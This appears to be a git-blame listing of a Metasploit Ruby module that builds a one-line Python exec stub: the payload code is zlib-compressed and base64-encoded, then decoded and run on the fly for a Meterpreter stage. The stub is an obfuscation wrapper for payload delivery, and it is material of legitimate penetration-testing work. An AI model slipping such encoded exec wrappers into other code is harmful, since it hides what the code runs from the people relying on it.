2015-05-18 14:29:42 +10:00
# -*- coding: binary -*-
module Msf::Payload::Python
2026-03-13 14:31:00 +00:00
# Mark the payload as dynamic, as the zlib compression with a single char change can lead to size changes even if the original payload is the same length
ForceDynamicCachedSize = true
2015-05-18 14:29:42 +10:00
2015-05-25 11:51:01 +10:00
#
# Encode the given python command in base64 and wrap it with a stub
2015-11-26 13:59:44 -05:00
# that will decode and execute it on the fly. The code will be condensed to
# one line and compatible with all Python versions supported by the Python
# Meterpreter stage.
2015-05-25 11:51:01 +10:00
#
2025-05-09 11:32:38 -04:00
# @param python_code [String] The python code to execute.
2015-05-25 11:51:01 +10:00
# @return [String] Full python stub to execute the command.
#
2025-05-09 11:32:38 -04:00
def self . create_exec_stub ( python_code )
2022-11-01 11:03:47 -04:00
# Encoding is required in order to handle Python's formatting
2025-05-09 11:32:38 -04:00
payload = Rex :: Text . encode_base64 ( Rex :: Text . zlib_deflate ( python_code ) )
2022-11-01 11:03:47 -04:00
b64_stub = " exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')(' #{ payload } ')[0]))) "
2015-05-25 11:51:01 +10:00
b64_stub
2020-08-31 21:22:46 +02:00
end
2022-02-13 11:55:32 -05:00
2025-05-09 11:32:38 -04:00
def py_create_exec_stub ( python_code )
Msf :: Payload :: Python . create_exec_stub ( python_code )
2015-05-25 11:51:01 +10:00
end
2015-05-18 14:29:42 +10:00
end